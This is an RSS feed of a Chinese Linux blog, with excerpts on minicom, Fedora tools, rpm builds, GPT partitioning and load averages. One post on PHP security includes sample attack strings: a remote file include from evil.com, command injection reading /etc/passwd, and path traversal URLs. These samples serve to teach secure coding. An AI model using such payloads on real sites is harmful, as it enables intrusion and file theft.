<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>稀饭的国度 &#187; Linux</title>
	<atom:link href="http://blog.thematice.com/html/ytag/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.thematice.com</link>
	<description>发现自己的脑袋不好使了，用blog来记录真的很好用。</description>
	<lastBuildDate>Sun, 18 Jul 2010 15:56:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>linux超级终端minicom设置</title>
		<link>http://blog.thematice.com/html/y2010/01/27/635/linux%e8%b6%85%e7%ba%a7%e7%bb%88%e7%ab%afminicom%e8%ae%be%e7%bd%ae.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/27/635/linux%e8%b6%85%e7%ba%a7%e7%bb%88%e7%ab%afminicom%e8%ae%be%e7%bd%ae.html#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:59:07 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[minicom]]></category>
		<category><![CDATA[超级终端]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=635</guid>
		<description><![CDATA[linux minicom 是linux 下串口调试工具，类似于windows下的超级终端。
一、安装minicom：
确认一下系统是否已经安装minicom，如果没有请自行安装。
[root@web Server]# rpm -q minicom
minicom-2.1-3

二、配置（需要root用户）
执行minicom –s后出现配置界面
       ==========================
[configuration]
Filename and paths
File transfer and protocols
Serial port setup
Modem and dialing
Screen and keyboard
Save setup as df1
Save setup as……
Exit
Exit from minicom
       ==========================
使用向下键选择serial port setup（串口设置），按回车出现设置界面
==========================
   A — Serial Device: /dev/ttyS0
   B — lockfile [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/27/635/linux%e8%b6%85%e7%ba%a7%e7%bb%88%e7%ab%afminicom%e8%ae%be%e7%bd%ae.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FUNC &#124; Fedora特性-Smolt 解决硬件兼容烦恼</title>
		<link>http://blog.thematice.com/html/y2010/01/27/987/fedora%e7%89%b9%e6%80%a7-smolt-%e8%a7%a3%e5%86%b3%e7%a1%ac%e4%bb%b6%e5%85%bc%e5%ae%b9%e7%83%a6%e6%81%bc.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/27/987/fedora%e7%89%b9%e6%80%a7-smolt-%e8%a7%a3%e5%86%b3%e7%a1%ac%e4%bb%b6%e5%85%bc%e5%ae%b9%e7%83%a6%e6%81%bc.html#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:44:21 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[certmaster]]></category>
		<category><![CDATA[func]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[系统管理]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[python-ctypes]]></category>
		<category><![CDATA[python-paste]]></category>
		<category><![CDATA[python-simplejson]]></category>
		<category><![CDATA[smolt]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=987</guid>
		<description><![CDATA[     许多Linux爱好者购买新电脑时首先考虑的就是硬件配置是否与Linux系统兼容，实际上更多的人只是购买自己喜欢的外形和配置的电脑硬件，当他们回家安装Linux发行版时却发现很多硬件不能被系统识别和正确支持。情理之中，这些人可能就会到论坛和别人抱怨Linux是一个如何土的系统，“怎么连xx都不支持？”。

    如果有一个软件能够跟踪和记录所有硬件对Linux发行版的支持和兼容性，那对用户将是一个非常体贴和诱人的事。在Fedora里，你的需求就能够得到满足。

    Fedora里面有个叫做Smolt的项目，他的详细描述可以在http://smolts.org/wiki/Main_Page 得到，已经收集超过7万9000个硬件配置信息。所有数据都可以在Smolt网站看到，这些配置信息将用于促进厂商合作，改进用户的硬件使用体验，评测系统和更好的报告工具，并为常用硬件提高开发和质量检测优先级。访问Smolt主页：http://smolt.fedoraproject.org/
Smolt and
Func: Fedora Unified Network Controller
Smolt是一款常用硬件剖析工具, 现在已经收集超过7万9000个硬件配置信息. 所有数据都可以在Smolt网站看到. 这些配置信息将用于促进厂商合作, 改进用户的硬件使用体验, 评测系统和更好的报告工具, 并为常用硬件提高开发和质量检测优先级
当前状态:
http://smolt.fedoraproject.org/
项目主页:
https://hosted.fedoraproject.org/projects/smolt/
https://fedorahosted.org/func/wiki

]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/27/987/fedora%e7%89%b9%e6%80%a7-smolt-%e8%a7%a3%e5%86%b3%e7%a1%ac%e4%bb%b6%e5%85%bc%e5%ae%b9%e7%83%a6%e6%81%bc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FUNC &#124; 终于找到问题了(about func)  [转载]</title>
		<link>http://blog.thematice.com/html/y2010/01/27/976/%e7%bb%88%e4%ba%8e%e6%89%be%e5%88%b0%e9%97%ae%e9%a2%98%e4%ba%86about-func-%e8%bd%ac%e8%bd%bd.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/27/976/%e7%bb%88%e4%ba%8e%e6%89%be%e5%88%b0%e9%97%ae%e9%a2%98%e4%ba%86about-func-%e8%bd%ac%e8%bd%bd.html#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:37:17 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[certmaster]]></category>
		<category><![CDATA[func]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[系统管理]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[python-ctypes]]></category>
		<category><![CDATA[python-paste]]></category>
		<category><![CDATA[python-simplejson]]></category>
		<category><![CDATA[smolt]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=976</guid>
		<description><![CDATA[故障现象
1、在客户端安装好func及certmaster，配好certmaster参数。
2、service funcd start，端口及进程都起来了。
3、在certmaster server 运行certmaster-ca &#8211;list死活看不到客户端的主机名。

排查过程
1、将certmaster的主机名换成IP，无效。
2、更新客户端的func及certmaster版本，无效。
3、运行/usr/bin/certmaster-request，提示：socket.error: (111, &#8216;Connection refused&#8217;)，将certmaster修改成localhost就正常了。原因可以就在这里，因为certmaster是双向的，发现在/etc/hosts中有主机名指向127.0.0.1，此时连接不上certmaster server了。将/etc/hosts中的主机名删除，再用/usr/bin/certmaster-request来测试连接，成功！！在certmaster也能看到主机了，大功告成。 
简单生活。简单运动 
]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/27/976/%e7%bb%88%e4%ba%8e%e6%89%be%e5%88%b0%e9%97%ae%e9%a2%98%e4%ba%86about-func-%e8%bd%ac%e8%bd%bd.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用script记录Linux终端会话</title>
		<link>http://blog.thematice.com/html/y2010/01/27/968/%e4%bd%bf%e7%94%a8script%e8%ae%b0%e5%bd%95linux%e7%bb%88%e7%ab%af%e4%bc%9a%e8%af%9d.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/27/968/%e4%bd%bf%e7%94%a8script%e8%ae%b0%e5%bd%95linux%e7%bb%88%e7%ab%af%e4%bc%9a%e8%af%9d.html#comments</comments>
		<pubDate>Wed, 27 Jan 2010 15:15:33 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/html/y2010/01/27/968/%e4%bd%bf%e7%94%a8script%e8%ae%b0%e5%bd%95linux%e7%bb%88%e7%ab%af%e4%bc%9a%e8%af%9d.html</guid>
		<description><![CDATA[许多系统管理员都知道保留一个包含各种任务、配置改变等活动日志的重要性。对一些组织而言，保留“我做了这件事”或“约翰做了那件事”的简单日志就已足够；但另一些组织则需要记录所有改变。

对终端输出进行复制粘贴可能非常乏味，我们使用一个叫做script的鲜为人知的程序来解决这个问题，它是大多数Linux产品util-linux软件包的一部分。
script记录会话的一切内容：你输入的内容和你看到的内容。它甚至记录颜色；因此如果你的命令提示符或程序输出中包含颜色，script将记录它。
要使用script，简单执行以下命令：
$ script
默认情况下，它向当前目录的typescript文件中写入内容。然后，你输入的一切内容都被记录到那个文件中。要往另一个文件中记录日志，只需使用script/path/to/file命令。
完成记录后，输入exit退出。这个命令将关闭script会话并保存文件。现在你可以使用cat或其它任何程序来检查日志文件。
使用script的缺点在于，它记录所有特殊的字符；因此你输入的文件中将充满控制字符和ANSI转义序列。你可以在script中使用一个非常简单的shell来解决这个问题：
$ SHELL=/bin/sh PS1=&#8221;$ &#8221; script
使用script时，不要使用交互式程序或处理窗口的程序，如vior top。它们会破坏会话的输出结果。另外，日志文件会记录你使用的任何命令行程序和你完成一项任务所采取的步骤。如果你需要在脚本中编辑一个文件，考虑退出script会话，然后用script –a（它在旧会话后添加新会话）对文件进行编辑后再重新启动会话。
SCRIPT(1)                 BSD General Commands Manual                SCRIPT(1)
NAME
     script &#8211; make typescript of terminal session
SYNOPSIS
 [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/27/968/%e4%bd%bf%e7%94%a8script%e8%ae%b0%e5%bd%95linux%e7%bb%88%e7%ab%af%e4%bc%9a%e8%af%9d.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下如何安装 *.src.rpm 这样格式的软件包</title>
		<link>http://blog.thematice.com/html/y2010/01/22/960/linux%e4%b8%8b%e5%a6%82%e4%bd%95%e5%ae%89%e8%a3%85-src-rpm-%e8%bf%99%e6%a0%b7%e6%a0%bc%e5%bc%8f%e7%9a%84%e8%bd%af%e4%bb%b6%e5%8c%85.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/22/960/linux%e4%b8%8b%e5%a6%82%e4%bd%95%e5%ae%89%e8%a3%85-src-rpm-%e8%bf%99%e6%a0%b7%e6%a0%bc%e5%bc%8f%e7%9a%84%e8%bd%af%e4%bb%b6%e5%8c%85.html#comments</comments>
		<pubDate>Fri, 22 Jan 2010 07:56:08 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[rpm]]></category>
		<category><![CDATA[rpmbuild]]></category>
		<category><![CDATA[src.rpm]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=960</guid>
		<description><![CDATA[有些软件包是以.src.rpm结尾的, 这类软件包是包含了源代码的rpm包, 在安装时需要进行编译. 这类软件包有两种安装方法.
方法一:

?Download shell.sh1
2
3
4
5
6
7
1. 执行 rpm -i your-package.src.rpm
2. cd /usr/src/redhat/SPECS
3. rpmbuild -bp your-package.specs 一个和软件包同名的specs文件
4. cd /usr/src/redhat/BUILD/your-package/ 一个和软件包同名的目录
5. ./configure 这一步和编译普通的源码软件一样, 可以加上参数, 也可以具体看该目录下的INSTALL文件, 按照指导进行安装
6. make
7. make install


方法二:

?Download shell.sh1
2
3
4
5
6
1. 执行 rpm -i you-package.src.rpm
2. cd /usr/src/redhat/SPECS
前两步和方法一相同.
3. rpmbuild -bb your-package.specs 一个和软件包同名的specs文件
4. 这时, 在/usr/src/redhat/RPMS/i386/(根据具体包的不同,也可能是i686,noarch,x86_64等等)这个目录下, 有一个新的rpm包, 这个是编译好的二进制文件. 
5. 执行rpm -i new-package.rpm即可安装完成.

以下是通过方法一安装htop的过程:

?Download shell.sh1
2
3
4
5
6
# rpm -i htop-0.7-1.rf.src.rpm
# cd /usr/src/redhat/SPECS
# rpmbuild -bp htop.spec
# cd [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/22/960/linux%e4%b8%8b%e5%a6%82%e4%bd%95%e5%ae%89%e8%a3%85-src-rpm-%e8%bf%99%e6%a0%b7%e6%a0%bc%e5%bc%8f%e7%9a%84%e8%bd%af%e4%bb%b6%e5%8c%85.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>重燃你的PHP安全之火</title>
		<link>http://blog.thematice.com/html/y2010/01/11/939/%e9%87%8d%e7%87%83%e4%bd%a0%e7%9a%84php%e5%ae%89%e5%85%a8%e4%b9%8b%e7%81%ab.html</link>
		<comments>http://blog.thematice.com/html/y2010/01/11/939/%e9%87%8d%e7%87%83%e4%bd%a0%e7%9a%84php%e5%ae%89%e5%85%a8%e4%b9%8b%e7%81%ab.html#comments</comments>
		<pubDate>Mon, 11 Jan 2010 09:24:24 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Linux  web]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=939</guid>
		<description><![CDATA[　　关于脚本安全这个话题好像永远没完没了，如果你经常到国外的各种各样的bugtraq上，你会发现有一半以上都和脚本相关，诸如SQL injection,XSS,Path Disclosure,Remote commands execution这样的字眼比比皆是，我们看了之后的用途难道仅仅是抓肉鸡？对于我们想做web安全的人来说，最好就是拿来学习，可是万物抓根源，我们要的不是鱼而是渔。在国内，各种各样的php程序1.0版,2.0版像雨后春笋一样的冒出来，可是，大家关注的都是一些著名的cms,论坛,blog程序，很少的人在对那些不出名的程序做安全检测，对于越来越多的php程序员和站长来说，除了依靠服务器的堡垒设置外，php程序本身的安全多少你总得懂点吧。
　　有人说你们做php安全无非就是搞搞注入和跨站什么什么的，大错特错，如果这样的话，一个magic_quotes_gpc或者服务器里的一些安全设置就让我们全没活路了。我今天要说的不是注入，不是跨站，而是存在于php程序中的一些安全细节问题。OK!切入正题。
　　注意一些函数的过滤
　　有些函数在程序中是经常使用的,像include(),require(),fopen(),fwrite(),readfile(),unlink(),eval()以及它们的变体函数等等。这些函数都很实用，实用并不代表让你多省心，你还得为它们多费点心。
　　1、include(),require()和fopen(),include_once(),require_once()这些都可以远程调用文件，对于它们的危害，google搜一下你就会很明了，对于所包含调用的变量没过滤好，就可以任意包含文件从而去执行。举个例子，看print.php
　　以下为引用的内容：
　　&#8230; 
　　if (empty ($bn) ) { //检查是变量$bn是否为空 
　　include (&#8221;$cfg_dir/site_$.php&#8221;); //把$cfg_dir这个路径里的site_$.php包含进来 
　　&#8230;

　　不管存不存在$cfg_dir目录，$site这个变量你可以很自然的去使用，因为他根本没检查$site变量啊。可以把变量$site指定远程文件http://evil.com/cmd.gif去调用，也可以是本地的一个文件，你所指定的文件里写上php的语句，然后它就去包含执行这个含有php语句的文件了。
　　列出文件目录
　　甚至可以扩展到包含一些管理员文件，提升权限，典型的像以前phpwind,bo-blog的漏洞一样。除了依靠php.ini里的allow_url_fopen设为off禁止远程使用文件和open_base_dir禁止使用目录以外的文件外，你还得事先声明好只能包含哪些文件，这里就不多说废话了。
　　2、fopen(),file(),readfile(),openfile(),等也是该特别留意的地方。函数本身并没什么,它们的作用是去打开文件，可是如果对变量过滤不彻底的话，就会泄露源代码。这样的函数文本论坛里会有很多。
　　以下为引用的内容：
　　&#8230; 
　　$articlearray=openfile(&#8221;$dbpath/$fid/$tid.php&#8221;); //打开$dbpath/$fid这个路径的$tid.php文件 
　　$topic_detail=explode(&#8221;&#124;&#8221;,$articlearray[0]); //用分割符&#124;读出帖子的内容 
　　&#8230; 
　　很眼熟吧，这是ofstar以前版本的read.php,$fid和$tid没有任何过滤，$tid指定为某个文件提交，就发生了原代码泄露。
　　http://explame.com/ofstar/read.php?fid=123&#038;tid=../index
　　$tid会被加上php的后缀，所以直接写index。这仅仅是个例子，接着看吧。
　　3、fwrite()和它的变体函数这种漏洞想想都想得出，对于用户提交的字符没过滤的话，写入一段php后门又不是不可以。
　　4、unlink()函数，前段时间，phpwind里任意删除文件就是利用这个函数，对于判断是否删除的变量没过滤，变量可以指定为任意文件，当然就可以删除任意文件的变量。
　　5、eval(),preg_replace()函数，它们的作用是执行php代码，如果字符串没被经过任何过滤的话，会发生什么呢，我就常看见一些cms里面使用，想想，一句话的php木马不就是根据eval()原理制作的吗？
　　6、对于system()这些系统函数，你会说在php.ini里禁止系统函数，对，这也是好办法，可是象一些程序里需要，那是不是就不用了呢？就像上次我看到的一套很漂亮的php相册一样。另外对于popen(),proc_open(),proc_close()函数你也得特别注意，尽管他们执行命令后并没有直接的输出，但你想这到底对黑客们有没有用呢。再这里php提供提供了两个函数，escapeshellarg(),escapeshellcmd(),这两个函数用来对抗系统函数的调用攻击，也就是过滤。
　　对于危害，来举个例子，我们来看某论坛prod.php
　　以下为引用的内容：
　　07 $doubleApp = isset($argv[1]); //初始化变量$doubleApp
　　&#8230; 
　　14 if( $doubleApp ) //if语句 
　　15 { 
　　16 $appDir = $argv[1]; //初始化$appDir 
　　17 system(&#8221;mkdir $prodDir/$appDir&#8221;); //使用系统函数system来创建目录$prodDir/$appDir 
　　本来是拿来创建$prodDir/$appDir目录的，再接着看上去，程序仅仅检测是否存在$argv[1]，缺少对$argv[1]的必要过滤，那么你就可以这样 
　　/prod.php?argv[1]=&#124;ls%20-la或者/prod.php?argv[1]=&#124;cat%20/etc/passwd（分割符 &#124; 在这里是UNIX的管道参数，可以执行多条命令。）
　　到这里，常见的漏洞类型应该知道点了吧。
　　对于特殊字符的重视
　　对于特殊字符，有句话叫All puts is invalid.外国人文章里这句话很常见的。所有输入都是有害的。你永远不要对用户所输入的东西省心，为了对付这些危害，程序员都在忙着过滤大把大把的字符，唯恐漏了什么。而有些程序员呢？好像从没注意过这些问题，从来都是敞开漏洞大门的。不说废话，还是先看看下面这些东西吧。
　　1、其实程序的漏洞里最关键，最让开发者放心不下的就是带着$符号的美元符号，变量，对于找漏洞的人来说，抓着变量两个字就是一切。就像目录遍历这个bug，很多邮件程序都存在，开发者考虑的很周全，有的甚至加上了网络硬盘这个东西，好是好，就像http://mail.com/file.php?id=1&#038;put=list&#038;tid=1&#038;file=./
　　要是我们把file这个变量换成./../甚至更上层呢？目录就这样被遍历了。
　　2、尖括号&#8221;&#8220;跨站你不会不知道吧，一些搜索栏里，文章，留言，像前段时间phpwind附件那里的跨站等等。当然，对于跨站问题，你要过滤的远远不止尖括号。不怕过滤时漏掉什么，而是怕你想不起要去过滤。
　　3、斜杆和反斜杆：对于/和的过滤，记得魔力论坛的附件下载处的原代码泄露吗？
　　attachment.php?id=684&#038;u=3096&#038;extension=gif&#038;attach=&#8230;&#8230;&#8230;&#8230;.includesconfig.php&#038;filename=1.gif
　　对于过滤.. / 的问题，像windows主机不仅要过滤../还要过滤..,windows主机对会解析为/,这些细节跟SQL injection比起来，什么才叫深入呢？
　　4、对于反引号(&#8220;),反引号在php中很强大，它可以执行系统命令，就像system()这些系统函数一样，如果用户的恶意语句被它所执行的话就会危害服务器，我想除了服务器设置的很好以外，对于它们，你还是老老实实的过滤好吧。
　　5、对于换行符,NULL字符等等，像&#8221; ,x0B, , ,这些，这些都是很有用的，像动网以前的上传漏洞就是因为上传中的NULL()字符引起的，对于这些能随意截断程序流程的字符，你说我们在检测的时候应该有多细心呢？
　　6、分号(;)和分割符(&#124;)
　　分号截断程序流程，shell_exec(&#8221;del ./yourpath/$file&#8221;); [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2010/01/11/939/%e9%87%8d%e7%87%83%e4%bd%a0%e7%9a%84php%e5%ae%89%e5%85%a8%e4%b9%8b%e7%81%ab.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux大于2T的磁盘使用GPT分区方式</title>
		<link>http://blog.thematice.com/html/y2009/12/28/936/linux%e5%a4%a7%e4%ba%8e2t%e7%9a%84%e7%a3%81%e7%9b%98%e4%bd%bf%e7%94%a8gpt%e5%88%86%e5%8c%ba%e6%96%b9%e5%bc%8f.html</link>
		<comments>http://blog.thematice.com/html/y2009/12/28/936/linux%e5%a4%a7%e4%ba%8e2t%e7%9a%84%e7%a3%81%e7%9b%98%e4%bd%bf%e7%94%a8gpt%e5%88%86%e5%8c%ba%e6%96%b9%e5%bc%8f.html#comments</comments>
		<pubDate>Mon, 28 Dec 2009 13:02:29 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[databases]]></category>
		<category><![CDATA[GPT]]></category>
		<category><![CDATA[MBR]]></category>
		<category><![CDATA[parted]]></category>
		<category><![CDATA[分区]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=936</guid>
		<description><![CDATA[GUID Partion Table 
一种由基于 Itanium 计算机中的可扩展固件接口 (EFI) 使用的磁盘分区架构。与主启动记录 (MBR) 分区方法相比，GPT 具有更多的优点，因为它允许每个磁盘有多达 128 个分区，支持高达 18 千兆兆字节的卷大小，允许将主磁盘分区表和备份磁盘分区表用于冗余，还支持唯一的磁盘和分区 ID (GUID)。

与支持最大卷为 2 TB (terabytes) 并且每个磁盘最多有 4 个主分区（或 3 个主分区，1 个扩展分区和无限制的逻辑驱动器）的主启动记录 (MBR) 磁盘分区的样式相比，GUID 分区表 (GPT) 磁盘分区样式支持最大卷为 18 EB (exabytes) 并且每磁盘最多有 128 个分区。与 MBR 分区的磁盘不同，至关重要的平台操作数据位于分区，而不是位于非分区或隐藏扇区。另外，GPT 分区磁盘有多余的主要及备份分区表来提高分区数据结构的完整性。 
所以在超过2TB时,我不能使用交互很好的Fdisk命令,只能磁盘转化为GPT格式。由于GPT格式的磁盘相当于原来MBR磁盘中原来保留4个 partition table的4*16个字节只留第一个16个字节，其它的类似于扩展分区，真正的partition table在512字节之后，所以对GPT磁盘表来讲没有四个主分区的限制。 
对GPT磁盘分区表进行操作，我们要使用parted命令。其实parted功能很强大，它可以象fdisk一样既可用命令行也可以用于交互式。 
下面我们就来实际操作吧，在提示符下输入parted就会进入交互式模式 
# parted /dev/sdb
GNU Parted 1.8.1
Using /dev/sdb
Welcome to GNU Parted! [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/12/28/936/linux%e5%a4%a7%e4%ba%8e2t%e7%9a%84%e7%a3%81%e7%9b%98%e4%bd%bf%e7%94%a8gpt%e5%88%86%e5%8c%ba%e6%96%b9%e5%bc%8f.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>理解 Linux 的处理器负载均值（翻译）</title>
		<link>http://blog.thematice.com/html/y2009/12/18/923/understanding-of-the-processor-load-linux-average.html</link>
		<comments>http://blog.thematice.com/html/y2009/12/18/923/understanding-of-the-processor-load-linux-average.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 10:30:17 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[load]]></category>
		<category><![CDATA[load Average]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=923</guid>
		<description><![CDATA[原文链接： http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages
你可能对于 Linux 的负载均值（load averages）已有了充分的了解。负载均值在 uptime  或者 top 命令中可以看到，它们可能会显示成这个样子：


?Download shell.sh1
 load average: 0.09, 0.05, 0.01

很多人会这样理解负载均值：三个数分别代表不同时间段的系统平均负载（一分钟、五 分钟、以及十五分钟），它们的数字当然是越小越好。数字越高，说明服务器的负载越 大，这也可能是服务器出现某种问题的信号。
而事实不完全如此，是什么因素构成了负载均值的大小，以及如何区分它们目前的状况是 “好”还是“糟糕”？什么时候应该注意哪些不正常的数值？
回答这些问题之前，首先需要了解下这些数值背后的些知识。我们先用最简单的例子说明， 一台只配备一块单核处理器的服务器。
行车过桥
一只单核的处理器可以形象得比喻成一条单车道。设想下，你现在需要收取这条道路的过桥 费 &#8212; 忙于处理那些将要过桥的车辆。你首先当然需要了解些信息，例如车辆的载重、以及 还有多少车辆正在等待过桥。如果前面没有车辆在等待，那么你可以告诉后面的司机通过。 如果车辆众多，那么需要告知他们可能需要稍等一会。
因此，需要些特定的代号表示目前的车流情况，例如：

0.00 表示目前桥面上没有任何的车流。 实际上这种情况与 0.00 和 1.00 之间是相同的，总而言之很通畅，过往的车辆可以丝毫不用等待的通过。
1.00 表示刚好是在这座桥的承受范围内。 这种情况不算糟糕，只是车流会有些堵，不过这种情况可能会造成交通越来越慢。
超过 1.00，那么说明这座桥已经超出负荷，交通严重的拥堵。 那么情况有多糟糕？ 例如 2.00 的情况说明车流已经超出了桥所能承受的一倍，那么将有多余过桥一倍的车辆正在焦急的等待。3.00 的话情况就更不妙了，说明这座桥基本上已经快承受不了，还有超出桥负载两倍多的车辆正在等待。


上面的情况和处理器的负载情况非常相似。一辆汽车的过桥时间就好比是处理器处理某线程 的实际时间。Unix 系统定义的进程运行时长为所有处理器内核的处理时间加上线程 在队列中等待的时间。
和收过桥费的管理员一样，你当然希望你的汽车（操作）不会被焦急的等待。所以，理想状态 下，都希望负载平均值小于 1.00 。当然不排除部分峰值会超过 1.00，但长此以往保持这 个状态，就说明会有问题，这时候你应该会很焦急。
“所以你说的理想负荷为 1.00 ？”
嗯，这种情况其实并不完全正确。负荷 1.00 说明系统已经没有剩余的资源了。在实际情况中 ，有经验的系统管理员都会将这条线划在 0.70：

 “需要进行调查法则”： 如果长期你的系统负载在 [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/12/18/923/understanding-of-the-processor-load-linux-average.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>理解Load Average做好压力测试</title>
		<link>http://blog.thematice.com/html/y2009/12/18/919/load-average-good-understanding-of-stress-testing.html</link>
		<comments>http://blog.thematice.com/html/y2009/12/18/919/load-average-good-understanding-of-stress-testing.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 10:27:08 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[load Average]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=919</guid>
		<description><![CDATA[最近刚接手的产品问题很多，主要是集中在产品设计和性能上，另外代码的可维护性也很差，这两周处理故障和问题的时间比较多，博客更新的也少了，下面的这篇文章是解释开发小组成员介绍并发编程的一些基本原理而收集到的一篇比较好的文章，作者以浅显易懂的方式介绍了比较复杂的概念。我觉得如果我们能够把一个复杂、抽象的概念如果能够通过生活中常见的场景来加以说明和描述出来，那么我们就真正理解了这个概念。

SIP的第四期结束了，因为控制策略的丰富，早先的的压力测试结果已经无法反映在高并发和高压力下SIP的运行状况，因此需要重新作压力测试。跟在测试人员后面做了快一周的压力测试，压力测试的报告也正式出炉，本来也就算是告一段落，但第二天测试人员说要修改报告，由于这次作压力测试的同学是第一次作，有一个指标没有注意，因此需要修改几个测试结果。那个没有注意的指标就是load average，他和我一样开始只是注意了CPU，内存的使用状况，而没有太注意这个指标，这个指标与他们通常的限制（10左右）有差别。重新测试的结果由于这个指标被要求压低，最后的报告显然不如原来的好看。自己也没有深入过压力测试，但是觉得不搞明白对将来机器配置和扩容都会有影响，因此去问了DBA和SA，得到的结果相差很大，看来不得不自己去找找问题的根本所在了。
通过下面的几个部分的了解，可以一步一步的找出Load Average在压力测试中真正的作用。
CPU时间片
为了提高程序执行效率，大家在很多应用中都采用了多线程模式，这样可以将原来的序列化执行变为并行执行，任务的分解以及并行执行能够极大地提高程序的运行效率。但这都是代码级别的表现，而硬件是如何支持的呢？那就要靠CPU的时间片模式来说明这一切。程序的任何指令的执行往往都会要竞争CPU这个最宝贵的资源，不论你的程序分成了多少个线程去执行不同的任务，他们都必须排队等待获取这个资源来计算和处理命令。先看看单CPU的情况。下面两图描述了时间片模式和非时间片模式下的线程执行的情况：

图 1 非时间片线程执行情况

图 2 非时间片线程执行情况
在图一中可以看到，任何线程如果都排队等待CPU资源的获取，那么所谓的多线程就没有任何实际意义。图二中的CPU Manager只是我虚拟的一个角色，由它来分配和管理CPU的使用状况，此时多线程将会在运行过程中都有机会得到CPU资源，也真正实现了在单CPU的情况下实现多线程并行处理。
多CPU的情况只是单CPU的扩展，当所有的CPU都满负荷运作的时候，就会对每一个CPU采用时间片的方式来提高效率。
在Linux的内核处理过程中，每一个进程默认会有一个固定的时间片来执行命令（默认为1/100秒），这段时间内进程被分配到CPU，然后独占使用。如果使用完，同时未到时间片的规定时间，那么就主动放弃CPU的占用，如果到时间片尚未完成工作，那么CPU的使用权也会被收回，进程将会被中断挂起等待下一个时间片。
CPU利用率和Load Average的区别
